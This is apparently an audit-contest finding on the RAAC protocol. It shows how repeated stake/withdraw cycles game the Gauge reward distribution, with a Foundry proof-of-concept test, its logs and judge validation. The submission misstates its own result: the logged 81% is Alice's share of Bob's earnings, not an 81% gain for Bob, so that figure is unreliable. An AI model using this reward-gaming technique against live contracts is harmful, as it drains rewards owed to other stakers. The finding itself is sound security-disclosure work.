Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Gauge reward system can be gamed with repeatedly stake/withdraw

Summary

The RAAC Gauge system implements a reward distribution mechanism where users can stake tokens and earn rewards based on their stake amount and veToken balance (includes a boost multiplier feature that affects reward calculations). Users staking and withdrawing repeatedly a large amount of tokens can game the system and maximize the rewards.

Vulnerability Details

The current implementation allows users to manipulate their reward earnings by:

  • temporarily staking large amounts of tokens

  • claiming or accruing rewards based on the inflated stake

  • quickly withdrawing the staked tokens

  • repeating this process to maximize rewards

The system lacks of implementation of time-weighted average balances and of a minimum staking period or withdrawal penalties. So it is subsceptible to short-term staking manipulation. Users staking and withdrawing repeatedly a large amount of tokens can game the system and maximize the rewards.

function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {
if (amount == 0) revert InvalidAmount();
_totalSupply += amount;
@> _balances[msg.sender] += amount;
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) external nonReentrant updateReward(msg.sender) {
if (amount == 0) revert InvalidAmount();
if (_balances[msg.sender] < amount) revert InsufficientBalance();
_totalSupply -= amount;
@> _balances[msg.sender] -= amount;
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}

Impact

Add Foundry to the project following this procedure

Create a file named RaacGauge.t.sol and copy/paste this:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import {RAACGauge} from "../contracts/core/governance/gauges/RAACGauge.sol";
import {GaugeController} from "../contracts/core/governance/gauges/GaugeController.sol";
import {IGaugeController} from "../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
import {IGauge} from "../contracts/interfaces/core/governance/gauges/IGauge.sol";
import {MockToken} from "../contracts/mocks/core/tokens/MockToken.sol";
contract RaacGaugeTest is Test {
MockToken public rewardToken;
MockToken public veRAACToken;
GaugeController public gaugeController;
RAACGauge public raacGauge;
bytes32 public constant CONTROLLER_ROLE = keccak256("CONTROLLER_ROLE");
bytes32 public constant EMERGENCY_ADMIN = keccak256("EMERGENCY_ADMIN");
bytes32 public constant FEE_ADMIN = keccak256("FEE_ADMIN");
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 public WEEK = 7 * 24 * 3600;
uint256 public WEIGHT_PRECISION = 10000;
function setUp() public {
rewardToken = new MockToken("Reward Token", "RWD", 18);
veRAACToken = new MockToken("veRAAC Token", "veRAAC", 18);
// Setup initial state
veRAACToken.mint(alice, 200 ether);
veRAACToken.mint(bob, 1000 ether);
rewardToken.mint(alice, 1000 ether);
rewardToken.mint(bob, 1000 ether);
gaugeController = new GaugeController(address(veRAACToken));
vm.warp(block.timestamp + 3 weeks);
raacGauge = new RAACGauge(address(rewardToken), address(veRAACToken), address(gaugeController));
// Setup roles
raacGauge.grantRole(raacGauge.CONTROLLER_ROLE(), owner);
vm.startPrank(alice);
rewardToken.approve(address(raacGauge), type(uint256).max);
veRAACToken.approve(address(raacGauge), type(uint256).max);
vm.stopPrank();
vm.startPrank(bob);
rewardToken.approve(address(raacGauge), type(uint256).max);
veRAACToken.approve(address(raacGauge), type(uint256).max);
vm.stopPrank();
// Add gauge to controller
gaugeController.grantRole(gaugeController.GAUGE_ADMIN(), owner);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, WEIGHT_PRECISION);
// Move time forward
vm.warp(block.timestamp + 1 weeks);
// Set initial gauge weight through voting
vm.prank(alice);
gaugeController.vote(address(raacGauge), WEIGHT_PRECISION);
// Set emission rate
vm.prank(owner);
raacGauge.setWeeklyEmission(10000 ether);
// Transfer reward tokens to gauge for distribution
rewardToken.mint(address(raacGauge), 100000 ether);
vm.prank(owner);
raacGauge.setBoostParameters(25000, 10000, WEEK);
// Set initial weight after time alignment
vm.prank(address(gaugeController));
raacGauge.setInitialWeight(5000); // 50% weight
vm.warp(block.timestamp + 1);
console2.log("\nContracts:");
console2.log("rewardToken: ", address(rewardToken));
console2.log("veRAACToken: ", address(veRAACToken));
console2.log("raacGauge: ", address(raacGauge));
console2.log("");
}
function test_stakeWithdrawGaming() public {
veRAACToken.mint(alice, 800 ether); //same initial balance as bob
// Move to start of next period for clean test
uint256 nextPeriod = ((block.timestamp / WEEK) + 1) * WEEK;
vm.warp(nextPeriod);
vm.prank(alice);
raacGauge.stake(900 ether);
vm.prank(bob);
raacGauge.stake(900 ether);
uint256 aliceBalanceAfter = veRAACToken.balanceOf(alice);
uint256 bobBalanceAfter = veRAACToken.balanceOf(bob);
assertEq(aliceBalanceAfter, 100 ether); //same voting power
assertEq(bobBalanceAfter, 100 ether); //same voting power
vm.prank(address(gaugeController));
raacGauge.notifyRewardAmount(1000 ether);
vm.prank(alice);
raacGauge.voteEmissionDirection(5000);
vm.warp(block.timestamp + 1 weeks / 2);
// Record initial rewards state
uint256 aliceInitialEarned = raacGauge.earned(alice);
uint256 bobInitialEarned = raacGauge.earned(bob);
console2.log("Alice earned (initial):", aliceInitialEarned);
console2.log("Bob earned (initial):", bobInitialEarned);
// Bob games the system through multiple stake/withdraws
for (uint256 i = 0; i < 10; i++) {
vm.prank(bob);
raacGauge.withdraw(900 ether);
vm.warp(block.timestamp + 1 hours);
vm.prank(bob);
raacGauge.stake(900 ether);
vm.warp(block.timestamp + 1 hours);
}
vm.warp(block.timestamp + 1 days);
// Calculate actual rewards earned during the gaming period
uint256 aliceEarned = raacGauge.earned(alice) - aliceInitialEarned;
uint256 bobEarned = raacGauge.earned(bob) - bobInitialEarned;
console2.log("\nResults after gaming attempts:");
console2.log("Alice earned (stable holder):", aliceEarned);
console2.log("Bob earned (stake/withdraw cycling):", bobEarned);
console2.log("Bob/Alice earnings ratio:", (aliceEarned * 100) / bobEarned, "%");
console2.log("----------------");
}
}

Run forge test --match-test test_stakeWithdrawGaming -vv

Logs:
Contracts:
rewardToken: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
veRAACToken: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
raacGauge: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
Alice earned (initial): 597222
Bob earned (initial): 597222
Results after gaming attempts:
Alice earned (stable holder): 383928
Bob earned (stake/withdraw cycling): 473205
Bob/Alice earnings ratio: 81 %
----------------
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.03ms (2.16ms CPU time)

The test shows that bob staking and withdrawing repeatedly earns 81% of rewards more than Alice.

Tools Used

Manual review.

Recommendations

Implement a mechanism to prevent the gaming condition like minimum staking period or withdrawal penalties.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge reward system can be gamed through repeated stake/withdraw cycles without minimum staking periods, allowing users to earn disproportionate rewards vs long-term stakers

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge reward system can be gamed through repeated stake/withdraw cycles without minimum staking periods, allowing users to earn disproportionate rewards vs long-term stakers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!